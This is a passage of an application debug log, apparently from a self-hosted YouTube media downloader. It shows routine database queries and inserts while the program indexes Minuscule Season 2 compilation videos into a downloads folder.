SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:56.152 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1980.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-04 07:00:49Z], 5] 22:11:56.160 [debug] QUERY OK source="media_items" db=7.0ms idle=1008.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grasshopper Who Didn't Know How To Leap | S02E13\r\n00:03:45 | An Acorn Season | S02E05\r\n00:07:31 | Chewing gum rodeo | S02E14\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #babies #leap #outcast #Acorn #Grasshopper #Insects #Justice #Minuscule #nature #insects #ladybugs #animatedseries", "The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation", "f7c9434b-92c5-4b37-a07d-aeb08b6a7fe8", "773g6-bqyv4", 715, false, 5, "https://www.youtube.com/watch?v=773g6-bqyv4", 75, "/downloads/Miniscule Season 2/2025-03-04 The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation/The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation [773g6-bqyv4].mp4", false, false, false, [], 1, ~U[2025-03-04 07:00:49Z], ~U[2025-12-12 05:11:56Z], ~U[2025-12-12 05:11:56Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grasshopper Who Didn't Know How To Leap | S02E13\r\n00:03:45 | An Acorn Season | S02E05\r\n00:07:31 | Chewing gum rodeo | S02E14\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #babies #leap #outcast #Acorn #Grasshopper #Insects #Justice #Minuscule #nature #insects #ladybugs #animatedseries", "The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation", "773g6-bqyv4", 715, false, 5, "https://www.youtube.com/watch?v=773g6-bqyv4", "/downloads/Miniscule Season 2/2025-03-04 The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation/The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation [773g6-bqyv4].mp4", false, ~U[2025-03-04 07:00:49Z]] 22:11:56.161 [debug] QUERY OK source="sources" db=0.4ms idle=14.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:56.162 [debug] QUERY OK source="media_profiles" db=0.4ms idle=11.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:56.163 [debug] QUERY OK source="media_items" db=0.6ms idle=11.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89050] 22:11:56.163 [debug] Current batch of media processed. Will check again in 1000ms 22:11:57.164 [debug] Current batch of media processed. Will check again in 1000ms 22:11:58.165 [debug] Current batch of media processed. Will check again in 1000ms 22:11:59.166 [debug] Current batch of media processed. Will check again in 1000ms 22:12:00.167 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Honey Fly | S02E08\r\n00:03:50 | Gather More to Pollinate More | S02E32\r\n00:07:35 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Honey #Fly #Bees #Admiration #gather #pollinate #productivity #competition #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 705, "filename" => "/downloads/Miniscule Season 2/2025-02-25 Honey Fly 🐝 Minuscule 🍃 15' Compilation/Honey Fly 🐝 Minuscule 🍃 15' Compilation [uFP6qsmHsTU].mp4", "id" => "uFP6qsmHsTU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uFP6qsmHsTU", "playlist_index" => 76, "timestamp" => 1740466855, "title" => "Honey Fly 🐝 Minuscule 🍃 15' Compilation", "upload_date" => "20250225"} 22:12:00.168 [debug] QUERY OK source="sources" db=0.3ms idle=996.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:00.168 [debug] QUERY OK source="sources" db=0.3ms idle=997.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:00.170 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=998.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-25 07:00:55Z], 5] 22:12:00.180 [debug] QUERY OK source="media_items" db=8.8ms idle=999.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Honey Fly | S02E08\r\n00:03:50 | Gather More to Pollinate More | S02E32\r\n00:07:35 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Honey #Fly #Bees #Admiration #gather #pollinate #productivity #competition #Minuscule #nature #insects #ladybugs #animatedseries", "Honey Fly 🐝 Minuscule 🍃 15' Compilation", "c57b21f6-941b-4d04-b42d-8b09853c3185", "uFP6qsmHsTU", 705, false, 5, "https://www.youtube.com/watch?v=uFP6qsmHsTU", 76, "/downloads/Miniscule Season 2/2025-02-25 Honey Fly 🐝 Minuscule 🍃 15' Compilation/Honey Fly 🐝 Minuscule 🍃 15' Compilation [uFP6qsmHsTU].mp4", false, false, false, [], 1, ~U[2025-02-25 07:00:55Z], ~U[2025-12-12 05:12:00Z], ~U[2025-12-12 05:12:00Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Honey Fly | S02E08\r\n00:03:50 | Gather More to Pollinate More | S02E32\r\n00:07:35 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Honey #Fly #Bees #Admiration #gather #pollinate #productivity #competition #Minuscule #nature #insects #ladybugs #animatedseries", "Honey Fly 🐝 Minuscule 🍃 15' Compilation", "uFP6qsmHsTU", 705, false, 5, "https://www.youtube.com/watch?v=uFP6qsmHsTU", "/downloads/Miniscule Season 2/2025-02-25 Honey Fly 🐝 Minuscule 🍃 15' Compilation/Honey Fly 🐝 Minuscule 🍃 15' Compilation [uFP6qsmHsTU].mp4", false, ~U[2025-02-25 07:00:55Z]] 22:12:00.180 [debug] QUERY OK source="sources" db=0.3ms idle=25.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:00.181 [debug] QUERY OK source="media_profiles" db=0.3ms idle=12.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:00.182 [debug] QUERY OK source="media_items" db=0.4ms idle=12.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89052] 22:12:00.182 [debug] Current batch of media processed. Will check again in 1000ms 22:12:00.539 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:01.183 [debug] Current batch of media processed. Will check again in 1000ms 22:12:02.184 [debug] Current batch of media processed. Will check again in 1000ms 22:12:03.185 [debug] Current batch of media processed. Will check again in 1000ms 22:12:04.186 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Rascals! | S02E38\r\n00:03:39 | Away all boarders! | S02E41\r\n00:07:14 | Sand Castle | S02E49\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ants #battle #steal #leader #cottage #pistachios #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 680, "filename" => "/downloads/Miniscule Season 2/2025-02-22 Rascals! | Minuscule 🍃 15' Compilation/Rascals! | Minuscule 🍃 15' Compilation [ix9apuOmP7E].mp4", "id" => "ix9apuOmP7E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ix9apuOmP7E", "playlist_index" => 77, "timestamp" => 1740250847, "title" => "Rascals! | Minuscule 🍃 15' Compilation", "upload_date" => "20250222"} 22:12:04.187 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=24.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:04.188 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=16.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:04.189 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=17.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-22 19:00:47Z], 5] 22:12:04.203 [debug] QUERY OK source="media_items" db=13.0ms idle=18.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Rascals! | S02E38\r\n00:03:39 | Away all boarders! | S02E41\r\n00:07:14 | Sand Castle | S02E49\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ants #battle #steal #leader #cottage #pistachios #Minuscule #nature #insects #ladybugs #animatedseries", "Rascals! | Minuscule 🍃 15' Compilation", "6a29d232-7c16-4c2d-8673-d133bbc87b4c", "ix9apuOmP7E", 680, false, 5, "https://www.youtube.com/watch?v=ix9apuOmP7E", 77, "/downloads/Miniscule Season 2/2025-02-22 Rascals! | Minuscule 🍃 15' Compilation/Rascals! | Minuscule 🍃 15' Compilation [ix9apuOmP7E].mp4", false, false, false, [], 1, ~U[2025-02-22 19:00:47Z], ~U[2025-12-12 05:12:04Z], ~U[2025-12-12 05:12:04Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Rascals! | S02E38\r\n00:03:39 | Away all boarders! | S02E41\r\n00:07:14 | Sand Castle | S02E49\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ants #battle #steal #leader #cottage #pistachios #Minuscule #nature #insects #ladybugs #animatedseries", "Rascals! | Minuscule 🍃 15' Compilation", "ix9apuOmP7E", 680, false, 5, "https://www.youtube.com/watch?v=ix9apuOmP7E", "/downloads/Miniscule Season 2/2025-02-22 Rascals! | Minuscule 🍃 15' Compilation/Rascals! | Minuscule 🍃 15' Compilation [ix9apuOmP7E].mp4", false, ~U[2025-02-22 19:00:47Z]] 22:12:04.204 [debug] QUERY OK source="sources" db=0.4ms idle=32.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:04.205 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=17.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:04.206 [debug] QUERY OK source="media_items" db=0.5ms idle=17.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89054] 22:12:04.206 [debug] Current batch of media processed. Will check again in 1000ms 22:12:05.207 [debug] Current batch of media processed. Will check again in 1000ms 22:12:06.208 [debug] Current batch of media processed. Will check again in 1000ms 22:12:07.209 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mission : BBQ | S02E09\r\n00:03:45 | The Chocolate Chase! | S02E19\r\n00:07:31 | Acrobatics | S02E16\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#BBQ #garden #insects #wasps #chocolate #centipede #bees #Minuscule #nature #ladybugs #animatedseries", "duration" => 715, "filename" => "/downloads/Miniscule Season 2/2025-02-20 Mission : BBQ | Minuscule 🍃 15' Compilation/Mission : BBQ | Minuscule 🍃 15' Compilation [HwAj0Zc2N1w].mp4", "id" => "HwAj0Zc2N1w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HwAj0Zc2N1w", "playlist_index" => 78, "timestamp" => 1740049279, "title" => "Mission : BBQ | Minuscule 🍃 15' Compilation", "upload_date" => "20250220"} 22:12:07.210 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1038.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:07.211 [debug] QUERY OK source="sources" db=0.5ms idle=1039.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:07.213 [debug] QUERY OK source="media_items" db=1.0ms idle=1040.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-20 11:01:19Z], 5] 22:12:07.216 [debug] QUERY OK source="media_items" db=2.3ms idle=1042.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National 